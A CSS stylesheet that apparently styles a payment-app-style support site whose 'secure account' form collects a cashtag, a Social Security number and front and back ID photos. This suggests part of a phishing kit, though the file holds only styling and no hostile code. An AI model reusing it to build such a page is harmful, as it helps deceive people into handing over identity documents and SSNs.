:root {
  --primary-color: #00D632;
  --text-color: #2D3440;
  --background-color: #f8f9fa;
  --card-background: #ffffff;
}

* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
  color: var(--text-color);
  background-color: var(--background-color);
}

nav {
  background: var(--card-background);
  padding: 1rem;
  box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.nav-container {
  max-width: 1200px;
  margin: 0 auto;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.logo {
  display: flex;
  align-items: center;
  gap: 0.5rem;
  font-weight: 700;
  font-size: 1.2rem;
}

.sign-in {
  background: var(--primary-color);
  color: white;
  border: none;
  padding: 0.5rem 1rem;
  border-radius: 8px;
  cursor: pointer;
  font-weight: 600;
}

main {
  max-width: 1200px;
  margin: 0 auto;
  padding: 2rem 1rem;
}

.hero {
  text-align: center;
  margin-bottom: 4rem;
}

.hero h1 {
  font-size: 2.5rem;
  margin-bottom: 2rem;
}

.search-container {
  max-width: 600px;
  margin: 0 auto;
  display: flex;
  gap: 0.5rem;
}

.search-container input {
  flex: 1;
  padding: 1rem;
  border: 2px solid #e0e0e0;
  border-radius: 8px;
  font-size: 1rem;
}

.search-btn {
  background: var(--primary-color);
  border: none;
  padding: 0.5rem 1rem;
  border-radius: 8px;
  cursor: pointer;
  color: white;
}

.categories {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
  gap: 2rem;
  margin-bottom: 4rem;
}

.category-card {
  background: var(--card-background);
  padding: 2rem;
  border-radius: 12px;
  text-align: center;
  transition: transform 0.2s;
  cursor: pointer;
  box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.category-card:hover {
  transform: translateY(-4px);
}

.category-card svg {
  margin-bottom: 1rem;
  color: var(--primary-color);
}

.category-card h3 {
  margin-bottom: 0.5rem;
}

.category-card p {
  color: #666;
}

.contact-section {
  text-align: center;
  margin-top: 4rem;
}

.contact-section h2 {
  margin-bottom: 1.5rem;
}

.contact-btn {
  background: var(--primary-color);
  color: white;
  border: none;
  padding: 1rem 2rem;
  border-radius: 8px;
  font-size: 1.1rem;
  font-weight: 600;
  cursor: pointer;
  transition: background-color 0.2s;
}

.contact-btn:hover {
  background-color: #00bf2d;
}

footer {
  background: var(--card-background);
  padding: 2rem;
  margin-top: 4rem;
}

.footer-container {
  max-width: 1200px;
  margin: 0 auto;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.footer-links {
  display: flex;
  gap: 2rem;
}

.footer-links a {
  color: #666;
  text-decoration: none;
}

.footer-social {
  display: flex;
  gap: 1rem;
}

.footer-social a {
  color: #666;
}

.secure-account {
  max-width: 800px;
  margin: 2rem auto 4rem;
  padding: 2rem;
  background: var(--card-background);
  border-radius: 12px;
  box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}

.form-container {
  max-width: 600px;
  margin: 0 auto;
}

.secure-account h2 {
  color: var(--text-color);
  margin-bottom: 1rem;
  text-align: center;
}

.form-description {
  text-align: center;
  color: #666;
  margin-bottom: 2rem;
}

.secure-form {
  display: flex;
  flex-direction: column;
  gap: 1.5rem;
}

.form-group {
  display: flex;
  flex-direction: column;
  gap: 0.5rem;
}

.form-row {
  display: flex;
  gap: 1rem;
}

.form-group.half {
  flex: 1;
}

.form-group label {
  font-weight: 600;
  color: var(--text-color);
}

.form-group input,
.form-group select,
.form-group textarea {
  padding: 0.75rem;
  border: 2px solid #e0e0e0;
  border-radius: 8px;
  font-size: 1rem;
  transition: border-color 0.2s;
}

.form-group input:focus,
.form-group select:focus,
.form-group textarea:focus {
  border-color: var(--primary-color);
  outline: none;
}

.cashtag-input {
  position: relative;
  display: flex;
  align-items: center;
}

.dollar-sign {
  position: absolute;
  left: 0.75rem;
  color: #666;
}

.cashtag-input input {
  padding-left: 1.75rem;
}

.ssn-input {
  position: relative;
  display: flex;
  align-items: center;
}

#ssn {
  letter-spacing: 1px;
  font-family: monospace;
  width: 100%;
}

#ssn::placeholder {
  letter-spacing: normal;
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
}

.toggle-ssn {
  position: absolute;
  right: 10px;
  background: none;
  border: none;
  cursor: pointer;
  padding: 5px;
  display: flex;
  align-items: center;
  color: #666;
}

.toggle-ssn:hover {
  color: var(--primary-color);
}

.form-hint {
  font-size: 0.85rem;
  color: #666;
  margin-top: 0.25rem;
}

.submit-btn {
  background: var(--primary-color);
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  font-size: 1.1rem;
  font-weight: 600;
  cursor: pointer;
  transition: background-color 0.2s;
  margin-top: 1rem;
}

.submit-btn:hover {
  background-color: #00bf2d;
}

.id-upload-container {
  display: flex;
  gap: 1rem;
  margin-top: 0.5rem;
}

.id-upload-box {
  flex: 1;
  position: relative;
}

.upload-label {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 2rem;
  border: 2px dashed #e0e0e0;
  border-radius: 8px;
  cursor: pointer;
  transition: border-color 0.2s;
}

.upload-label:hover {
  border-color: var(--primary-color);
}

.upload-label svg {
  margin-bottom: 0.5rem;
  color: #666;
}

.file-input {
  position: absolute;
  width: 0.1px;
  height: 0.1px;
  opacity: 0;
  overflow: hidden;
  z-index: -1;
}

.preview {
  margin-top: 1rem;
  max-width: 100%;
  position: relative;
}

.preview img {
  width: 100%;
  height: auto;
  border-radius: 4px;
}

.preview .remove-btn {
  position: absolute;
  top: -8px;
  right: -8px;
  background: #ff4444;
  color: white;
  border: none;
  width: 24px;
  height: 24px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  cursor: pointer;
  box-shadow: 0 2px 4px rgba(0,0,0,0.2);
}

@media (max-width: 768px) {
  .nav-container {
    padding: 0 1rem;
  }
  
  .hero h1 {
    font-size: 2rem;
    padding: 0 1rem;
  }
  
  .search-container {
    margin: 0 1rem;
  }
  
  .categories {
    grid-template-columns: 1fr;
    margin: 2rem 1rem;
  }
  
  .footer-container {
    flex-direction: column;
    gap: 1.5rem;
    padding: 1rem;
  }
  
  .footer-links {
    flex-direction: column;
    align-items: center;
    gap: 1rem;
  }
  
  .form-row {
    flex-direction: column;
    gap: 1.5rem;
  }
  
  .secure-account {
    margin: 2rem 1rem;
    padding: 1.5rem;
  }

  .form-container {
    padding: 0;
  }

  .form-group input,
  .form-group select,
  .form-group textarea {
    font-size: 16px; /* Prevents iOS zoom on input focus */
  }
  
  .id-upload-container {
    flex-direction: column;
  }
  
  .upload-label {
    padding: 1.5rem;
  }
}

@media (max-width: 480px) {
  .hero h1 {
    font-size: 1.75rem;
  }
  
  .nav-container .logo span {
    font-size: 1rem;
  }
  
  .search-container {
    flex-direction: column;
  }
  
  .search-btn {
    width: 100%;
    padding: 1rem;
  }
  
  .category-card {
    padding: 1.5rem;
  }
  
  .contact-btn {
    width: 100%;
  }
}

@media (min-width: 1400px) {
  .nav-container,
  main,
  .footer-container {
    max-width: 1400px;
  }
  
  .categories {
    grid-template-columns: repeat(4, 1fr);
  }
  
  .secure-account {
    max-width: 1000px;
  }
}

@media (hover: none) {
  .category-card,
  .search-btn,
  .contact-btn,
  .submit-btn,
  .sign-in {
    cursor: default;
  }
  
  .form-group input,
  .form-group select,
  .form-group textarea {
    min-height: 44px; /* Minimum touch target size */
  }
  
  .footer-links a {
    padding: 0.5rem 0;
  }
}